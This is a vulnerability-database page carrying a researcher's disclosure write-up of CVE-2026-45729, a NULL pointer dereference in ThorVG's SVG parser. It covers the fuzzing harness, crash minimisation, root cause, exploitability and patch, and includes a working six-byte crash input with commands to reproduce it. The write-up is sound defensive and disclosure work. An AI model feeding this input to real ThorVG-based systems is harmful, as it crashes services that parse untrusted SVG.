Lucene search
+L

📄 ThorVG SVG Parser NULL Pointer Dereference

🗓️ 22 Jul 2026 00:00:00Reported by LEE YEBINType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 43 Views

Proof of concept shows a null pointer dereference in ThorVG SVG parser prior to 1.0.5 using six-byte SVG.

Related
Code
ReporterTitlePublishedViews
Family
attackerkb
ATTACKERKB
CVE-2026-45729
1 Jun 202617:18
attackerkb
circl
Circl
CVE-2026-45729
1 Jun 202620:44
circl
cnnvd
CNNVD
ThorVG 代码问题漏洞
1 Jun 202600:00
cnnvd
cve
CVE
CVE-2026-45729
1 Jun 202617:18
cve
cvelist
Cvelist
CVE-2026-45729 ThorVG: Null pointer dereference in SVG loader causes crash via 6-byte malformed input
1 Jun 202617:18
cvelist
debiancve
Debian CVE
CVE-2026-45729
1 Jun 202617:18
debiancve
euvd
EUVD
EUVD-2026-33722
1 Jun 202617:18
euvd
fedora
Fedora
[SECURITY] Fedora 43 Update: thorvg-1.0.6-1.fc43
23 Jun 202600:54
fedora
fedora
Fedora
[SECURITY] Fedora 44 Update: thorvg-1.0.6-1.fc44
23 Jun 202601:09
fedora
nessus
Tenable Nessus
Fedora 43 : thorvg (2026-2641c0a950)
22 Jun 202600:00
nessus
Rows per page
# CVE-2026-45729 — ThorVG NULL Pointer Dereference via Malformed SVG
    
    **Severity:** CVSS 4.3 (Medium) — CWE-476  
    **Advisory:** [GHSA-f863-8ghq-7h64](https://github.com/advisories/GHSA-f863-8ghq-7h64)  
    **Fixed:** ThorVG v1.0.5  
    **Status:** Patched / Disclosed
    
    ---
    
    ## Summary
    
    ThorVG's SVG parser dereferences a pointer that is never initialized when it encounters a
    truncated child element tag inside a root `<svg>` node. The bug is reachable through the
    normal rendering path (`tvg::Picture::load` → parse → render) and can be triggered with
    a **6-byte** input.
    
    The worst-case impact on standard Linux is a process crash (DoS) — `mmap_min_addr` prevents
    mapping the NULL page, so the fault is not directly exploitable for code execution in that
    environment. On MMU-less targets where ThorVG is also used (Tizen, LVGL-based firmware) the
    exploitability picture is different and warrants a closer look.
    
    ---
    
    ## Target selection rationale
    
    ThorVG is a cross-platform vector graphics engine written in C++17. It is the default SVG/Lottie
    renderer in **Samsung Tizen OS**, is bundled in **LVGL** (widely used in embedded/IoT UI),
    and is distributed as a standalone library on multiple platforms.
    
    The library processes untrusted SVG/JSON input and is often exposed in contexts without privilege
    separation. Parser code in graphics libraries has historically been a reliable source of memory
    safety bugs — ThorVG is actively developed and at the time of this research had no recorded
    fuzzing coverage in public bug trackers.
    
    ---
    
    ## Fuzzing setup
    
    ### Harness
    
    The harness wraps ThorVG's in-memory load API so AFL++ can drive the parser directly without
    disk I/O.
    
    ```cpp
    // fuzz_thorvg.cpp
    #include <cstdint>
    #include <cstring>
    #include <thorvg.h>
    
    extern "C" int LLVMFuzzerTestOneInput(const uint8_t *data, size_t size) {
        if (size == 0) return 0;
    
        tvg::Initializer::init(tvg::CanvasEngine::Sw, 0);
    
        auto canvas = tvg::SwCanvas::gen();
        uint32_t buf[64 * 64] = {};
        canvas->target(buf, 64, 64, 64, tvg::SwCanvas::ARGB8888);
    
        auto picture = tvg::Picture::gen();
        // Load SVG from raw bytes; mimeType hint "svg" triggers the SVG parser path
        if (picture->load(reinterpret_cast<const char*>(data), size, "svg", false)
                == tvg::Result::Success) {
            canvas->push(tvg::cast(picture));
            canvas->draw();
            canvas->sync();
        }
    
        tvg::Initializer::term(tvg::CanvasEngine::Sw);
        return 0;
    }
    ```
    
    Build with ASAN + coverage instrumentation:
    
    ```bash
    clang++ -std=c++17 -fsanitize=address,undefined -fprofile-instr-generate \
        -fcoverage-mapping -O1 -g \
        fuzz_thorvg.cpp -o fuzz_thorvg \
        $(pkg-config --cflags --libs thorvg)
    ```
    
    ### Seed corpus
    
    Starting from scratch with random bytes performs poorly on format-sensitive parsers.
    I seeded the corpus with a set of structurally valid minimal SVG files covering:
    
    - Empty SVG (`<svg xmlns="..."/>`)
    - SVG with basic shapes (`<rect>`, `<circle>`, `<path>`)
    - SVG with a nested `<g>` group
    - SVG with a `<use>` xlink reference
    - A small Lottie/JSON animation (ThorVG also handles this format)
    
    Structure-aware seeds cut the time to first interesting paths from hours to under 20 minutes
    in my environment.
    
    ### AFL++ flags
    
    ```bash
    AFL_AUTORESUME=1 afl-fuzz \
        -i corpus/ \
        -o findings/ \
        -x svg.dict \
        -m none \
        -- ./fuzz_thorvg @@
    ```
    
    `-x svg.dict` — AFL++ token dictionary with SVG keywords to help mutate toward valid tag names.  
    `-m none` — ASAN shadow memory requires disabling AFL++'s memory limit.
    
    ---
    
    ## Crash discovery
    
    AFL++ produced a crash after approximately **3 hours** of single-core fuzzing.
    The initial crashing input was ~180 bytes. The ASAN output:
    
    ```
    ==pid==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x... ...)
    SEGV on address NULL
    #0 in tvg::SvgParser::_parseStyle(...)
    #1 in tvg::SvgParser::_createElement(...)
    #2 in tvg::SvgParser::parse(...)
    #3 in tvg::SvgLoader::read()
    ...
    ```
    
    The fault is a read through an uninitialized (NULL) `SvgNode*` pointer inside `_parseStyle`.
    The pointer is expected to be set by `_createElement` when it processes a child element,
    but a truncated tag name causes the element to be skipped without the pointer being assigned,
    and `_parseStyle` proceeds to dereference it regardless.
    
    ---
    
    ## Minimization
    
    Minimized with `afl-tmin`, then manual pruning:
    
    ```bash
    afl-tmin -i findings/crashes/id:000000 -o min -- ./fuzz_thorvg @@
    ```
    
    After `afl-tmin` the input was 14 bytes. Manual inspection of the parse path showed only the
    first 6 bytes were consumed before the fault:
    
    ```
    <svg><
    ```
    
    `<svg>` opens the root node. `<` starts a child element tag. The parser reads the tag name,
    gets an empty string (the input ends immediately after `<`), skips element creation, and
    falls through into `_parseStyle` with the node pointer still NULL.
    
    Confirm the 6-byte trigger reproduces:
    
    ```bash
    printf '<svg><' | ./fuzz_thorvg /dev/stdin
    # or
    echo -n '<svg><' > poc.svg && ./fuzz_thorvg poc.svg
    ```
    
    ---
    
    ## Root cause
    
    ```
    src/loaders/svg/tvgSvgParser.cpp
    ```
    
    Simplified pseudocode of the vulnerable flow:
    
    ```cpp
    // _createElement returns nullptr when tag name is empty
    SvgNode* node = _createElement(tagName);   // tagName == "" → returns nullptr
    
    // No NULL check before passing into style parser
    _parseStyle(node, attributes);             // ← dereferences node->style at offset 0x18
    ```
    
    The fix in v1.0.5 adds an early return in the element dispatch loop when `_createElement`
    returns `nullptr`, before any attribute/style processing is attempted.
    
    ---
    
    ## Exploitability analysis
    
    ### Standard Linux (CVSS 4.3 / Medium)
    
    `/proc/sys/vm/mmap_min_addr` is typically set to `65536` on modern distros.
    The NULL page is not mapped, so the CPU raises a SIGSEGV that the kernel converts to
    a signal to the process — result is a **crash (DoS)**. No controlled write, no PC
    control, not directly exploitable for code execution.
    
    ### Embedded / MMU-less targets
    
    ThorVG is a first-class citizen in **Tizen** (Samsung IoT/wearable OS) and is integrated
    into **LVGL**, which runs on microcontrollers and systems without an MMU.
    
    On MMU-less systems there is no memory protection and `mmap_min_addr` does not apply.
    If the NULL page is mapped (which is common in bare-metal embedded environments), a NULL
    pointer dereference can potentially point into attacker-controlled memory. Whether this
    is reachable in a real attack depends on the attack surface — ThorVG on a Tizen device
    may parse SVG from untrusted network sources or user-supplied content.
    
    This context is what justifies responsible disclosure even for a CVSS Medium finding.
    
    ---
    
    ## Disclosure timeline
    
    | Date | Event |
    |---|---|
    | 2026-xx-xx | Crash discovered via AFL++ |
    | 2026-xx-xx | Root cause confirmed under ASAN; 6-byte POC produced |
    | 2026-xx-xx | Private report sent to ThorVG maintainer (hermet) via GitHub Security Advisory |
    | 2026-xx-xx | Maintainer acknowledged and opened private fork |
    | 2026-xx-xx | Patch merged into v1.0.5 |
    | 2026-xx-xx | GHSA-f863-8ghq-7h64 published; CVE-2026-45729 assigned |
    
    ---
    
    ## Patch diff (summary)
    
    The patch adds a NULL guard in the SVG element dispatch loop:
    
    ```cpp
    // before (vulnerable)
    SvgNode* node = _createElement(tag);
    _parseStyle(node, attrs);   // unconditional
    
    // after (v1.0.5)
    SvgNode* node = _createElement(tag);
    if (!node) continue;        // skip if element was not created
    _parseStyle(node, attrs);
    ```
    
    Full diff: [ThorVG v1.0.5 release](https://github.com/thorvg/thorvg/releases/tag/v1.0.5)
    
    ---
    
    ## Reproduction (safe, local only)
    
    ```bash
    # build from source with ASAN
    git clone https://github.com/thorvg/thorvg && cd thorvg
    git checkout <vulnerable-tag-before-v1.0.5>
    meson setup build -Db_sanitize=address && ninja -C build
    
    # compile harness against the built library
    clang++ -std=c++17 -fsanitize=address -O1 -g \
        fuzz_thorvg.cpp -o fuzz_thorvg \
        -Ibuild/src/include -Lbuild/src -lthorvg
    
    # trigger
    printf '<svg><' | ./fuzz_thorvg /dev/stdin
    ```
    
    Expected output: ASAN report with `SEGV on unknown address 0x000000000000` in
    `tvg::SvgParser::_parseStyle`.
    
    ---
    
    ## References
    
    - [GHSA-f863-8ghq-7h64](https://github.com/advisories/GHSA-f863-8ghq-7h64)
    - [ThorVG project](https://github.com/thorvg/thorvg)
    - [CWE-476: NULL Pointer Dereference](https://cwe.mitre.org/data/definitions/476.html)
    - [AFL++ documentation](https://aflplus.plus/)
    
    ---
    
    *Found by yeahhbean (이예빈) via AFL++ coverage-guided fuzzing with structure-aware SVG seed corpus.*

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation